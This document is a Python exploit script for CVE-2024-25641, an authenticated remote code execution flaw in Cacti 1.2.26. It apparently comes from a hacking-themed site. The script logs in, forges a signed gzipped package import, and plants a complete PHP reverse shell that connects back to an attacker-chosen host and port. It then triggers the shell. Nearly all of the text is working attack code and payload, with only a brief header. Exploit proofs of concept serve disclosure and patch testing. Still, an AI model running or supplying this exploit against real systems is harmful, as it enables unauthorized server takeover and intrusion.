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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Cacti 1.2.26 -  Remote Code Execution (RCE) (Authenticated)
# Date: 06/01/2025
# Exploit Author: D3Ext
# Vendor Homepage: https://cacti.net/
# Software Link: https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.26.zip
# Version: 1.2.26
# Tested on: Kali Linux 2024
# CVE: CVE-2024-25641

#!/usr/bin/python3

import os
import requests
import base64
import gzip
import time
import argparse
import string
import random
from bs4 import BeautifulSoup
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives import serialization

def get_random_string(length):
    letters = string.ascii_lowercase
    result_str = ''.join(random.choice(letters) for i in range(length))

    return result_str

def check_version(url_to_check):
    r = requests.get(url_to_check)
    response = r.text

    if "Cacti CHANGELOG" in response and "1.2.26" in response and "1.2.27" not in response:
        print("[+] Version seems to be 1.2.26")
    else:
        print("[-] Version doesn't seem to be 1.2.26, proceeding anyway")


# Main function
if __name__ == '__main__':

    p = argparse.ArgumentParser(description="CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE")
    p.add_argument('--url', help="URL of the Cacti web root", required=True)
    p.add_argument('--user', help="username to log in", required=True)
    p.add_argument('--password', help="password of the username", required=True)
    p.add_argument('--lhost', help="local host to receive the reverse shell", required=True)
    p.add_argument('--lport', help="local port to receive the reverse shell", required=True)
    p.add_argument('--verbose', help="enable verbose", action='store_true', default=False, required=False)

    # Parse CLI arguments
    parser = p.parse_args()

    url = parser.url
    username = parser.user
    password = parser.password
    lhost = parser.lhost
    lport = parser.lport
    verbose = parser.verbose

    url = url.rstrip("/")

    print("CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE\n")

    # check if versions match
    print("[*] Checking Cacti version...")
    time.sleep(0.5)

    check = check_version(url + "/CHANGELOG")
    if check == False:
        sys.exit(0)

    req = requests.Session()

    if verbose:
        print("[*] Capturing CSRF token...")

    r = req.get(url)

    # extract CSRF token
    soup = BeautifulSoup(r.text, 'html.parser')
    html_parser = soup.find('input', {'name': '__csrf_magic'})
    csrf_token = html_parser.get('value')

    if verbose:
        print("[+] CSRF token: " + csrf_token)

    print("[*] Logging in on " + url + "/index.php")

    # define login post data
    login_data = {
        '__csrf_magic': csrf_token,
        'action': 'login',
        'login_username': username,
        'login_password': password,
        'remember_me': 'on'
    }

    # send login request
    r = req.post(url + "/index.php", data=login_data)

    # check success
    if 'Logged in' in r.text:
        print("[+] Successfully logged in as " + username)
    else:
        print("[-] An error has ocurred while logging in as " + username)
        sys.exit(0)

    # generate random filename
    random_name = get_random_string(10)
    random_filename = random_name + ".php"

    payload = """<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '""" + lhost + """';
$port = """ + lport + """;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}

chdir("/");

umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>"""

    # generate payload
    print("[*] Generating malicious payload...")

    keypair = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    public_key = keypair.public_key().public_bytes(encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo)
    file_signature = keypair.sign(payload.encode('utf-8'), padding.PKCS1v15(), hashes.SHA256())
    
    b64_payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
    b64_file_signature = base64.b64encode(file_signature).decode('utf-8')
    b64_public_key = base64.b64encode(public_key).decode('utf-8')

    data = """<xml>
   <files>
       <file>
           <name>resource/""" + random_filename + """</name>
           <data>""" + b64_payload + """</data>
           <filesignature>""" + b64_file_signature + """</filesignature>
       </file>
   </files>
   <publickey>""" + b64_public_key + """</publickey>
   <signature></signature>
</xml>"""

    signature = keypair.sign(data.encode('utf-8'), padding.PKCS1v15(), hashes.SHA256())
    final_data = data.replace("<signature></signature>", "<signature>" + base64.b64encode(signature).decode('utf-8') + "</signature>").encode('utf-8')

    # write gzip data
    f = open(random_filename + ".gz", "wb")
    f.write(gzip.compress(final_data))
    f.close()

    print("[+] Malicious GZIP: " + random_filename + ".gz")

    # define post data
    post_data = {
        '__csrf_magic': csrf_token,
        'trust_signer': 'on',
        'save_component_import': 1,
        'action': 'save'
    }

    # upload file
    print("[*] Uploading GZIP file...")

    # send post request
    r = req.post(url + "/package_import.php?package_location=0&preview_only=on&remove_orphans=on&replace_svalues=on", data=post_data, files={'import_file': open(random_filename + ".gz", 'rb')})

    print("[+] Successfully uploaded GZIP file")

    time.sleep(0.5)

    print("[*] Validating success...")

    soup = BeautifulSoup(r.text, 'html.parser')
    html_parser = soup.find('input', {'title': "/var/www/html/cacti/resource/" + random_filename})
    file_id = html_parser.get('id')

    post_data = {
        '__csrf_magic': csrf_token,
        'trust_signer': 'on',
        'data_source_profile': 1,
        'remove_orphans': 'on',
        'replace_svalues': 'on',
        file_id: 'on',
        'save_component_import': 1,
        'preview_only': '',
        'action': 'save',
    }

    r = req.post(url + "/package_import.php?header=false", data=post_data)

    print("[+] Success!")
    
    time.sleep(0.5)

    print("[*] Triggering reverse shell by sending GET request to " + url + "/resource/" + random_filename)
    time.sleep(0.2)
    print("[+] Check your netcat listener")

    # remove payload file
    os.remove(random_filename + ".gz")

    r = req.get(url + "/resource/" + random_filename)